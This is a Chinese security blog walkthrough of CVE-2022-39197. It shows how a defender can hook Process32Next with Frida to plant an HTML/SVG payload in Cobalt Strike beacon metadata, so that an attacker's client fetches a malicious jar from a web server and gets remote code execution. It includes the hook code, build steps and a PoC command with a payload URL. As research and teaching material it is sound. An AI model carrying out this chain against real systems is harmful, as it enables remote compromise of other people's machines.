文章总结： 本文详解利用CS漏洞CVE-2022-39197实施反制上线的原理与复现。通过Frida钩挂API将Payload注入Beacon元数据，诱导红队客户端渲染触发RCE反向控制攻击者。文章展示了Process32Next修改进程名反制的完整流程，验证了蓝队反制可行性，指出旧版CS仍存风险，为防御方提供了高价值实战反制思路。
综合评分： 87
文章分类： 红队,漏洞POC,实战经验,漏洞分析,渗透测试
Cobalt Strike的各类反向上线操作
昱子
昱子
蚁景网络安全
2026年2月27日 17:40
湖南
声明：本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本号及原作者无关。
前言
Cobalt Strike 使用 GUI 框架 SWING（一种java GUI的库）开发，攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签，使得Cobalt Strike对其进行解析并且加载恶意代码（类似XSS攻击），从而在目标系统上执行任意代码。
实现原理
攻击者需要通过CS木马在 beacon 元数据中注入恶意payload，恰好Frida 可以用于钩入和修改各种函数，包括 Windows API 函数，这里反制主要通过使用Frida框架钩入Windows API函数，从而对beacon 元数据中注入恶意代码，以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例
-
Kernel32.dll:
CreateFileWReadFileWriteFileFindFirstFileWCreateProcessWGetProcAddressLoadLibraryWVirtualAllocVirtualProtect -
Advapi32.dll:
RegOpenKeyExWRegQueryValueExWRegSetValueExWGetUserNameA -
User32.dll:
MessageBoxWSetWindowTextWGetWindowTextW -
Gdi32.dll:
TextOutWCreateFontIndirectW -
Shell32.dll:
ShellExecuteW -
Ws2_32.dll:
sendrecv
在 Frida 中，你可以使用 **Interceptor.attach **方法来附加到这些函数并添加你自己的处理逻辑。这样，你就可以在这些函数被调用时执行自定义代码，此时也意味着你可以对 beacon 元数据中注入自定义代码了。
例如**Kernel32.dll:**中的Process32Next
函数内整体逻辑拆开来分析下
处理函数进入onEnter
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
在函数进入时，保存 Process32Next 函数的参数，并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段，其中包含进程的可执行文件名
处理函数离开onLeave
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "target") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
在函数离开时，检查 szExeFile 中的进程可执行文件名是否等于字符串 “target”。如果相匹配，将指定的 payload 写入进程的可执行文件名里，使得Cobalt Strike对其进行解析并且加载payload
简单来说就是注入Windows API修改tasklist返回的进程名，将进程名改写成攻击payload，当攻击者点击beacon执行列出进程时，只要他浏览到带有payload的进程名，就会执行反制RCE
反制复现
环境准备：
| | 红队 | 蓝队 |
| — | — | — |
| IP | 192.168.108.200 | 192.168.108.133 |
| 版本 | Cobalt Strike 4.0 | Cobalt Strike 4.9 |
注：受到反制影响的Cobalt Strike版本< 4.7.1（全局禁止html渲染的Cobalt Strike不受印影响）
开源POC和EXP：https://github.com/its-arun/CVE-2022-39197
1、编辑恶意文件内容
修改Exploit.java，更改exec内代码参数为要执行的命令，我这里为了直观展示则执行powershell一句话上线CS
2、编译文件
使用IDEA+maven进行编译，编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件，具体如下
3、将生成的恶意jar文件和svg文件放在同一路径下
将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下
4、蓝队在serve路径下开启一个web服务
5、编辑evil.svg文件，替换为当前路径启用的恶意jar的web地址
6、执行POC脚本
python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg
运行后，红队的cs客户端上可以看到此时木马已经成功上线
当红队尝试获取用户会话的进程列表，当滚动进程列表进行查看当前会话所在进程名时即触发（若未触发可能需要手动点击或触发存在延迟），请求蓝队web服务上的evil.svg文件，而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar
成功上线蓝队CS，从而达到反制RCE
思考
除了以上Kernel32.dll:中的Process32Next函数的反制思路，其实还有很多其他的反制思路，正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数（根据文件名查找文件的函数），大概情况就是注入Windows API 修改返回的文件名，将文件名改写成攻击payload，当攻击者点击beacon执行列出文件时，只要他浏览到带有payload的文件名，就会执行反制RCE，以下就直接展示上线的效果（复现步骤和上面一样）
最后
此Cobalt Strike反制虽然是一个去年曝光的漏洞了，但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本，对应地Cobalt Strike的反制可玩性还是很高的，师傅们发挥想象可以让对手猝不及防。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：蚁景网络安全 昱子
昱子《Cobalt Strike的各类反向上线操作》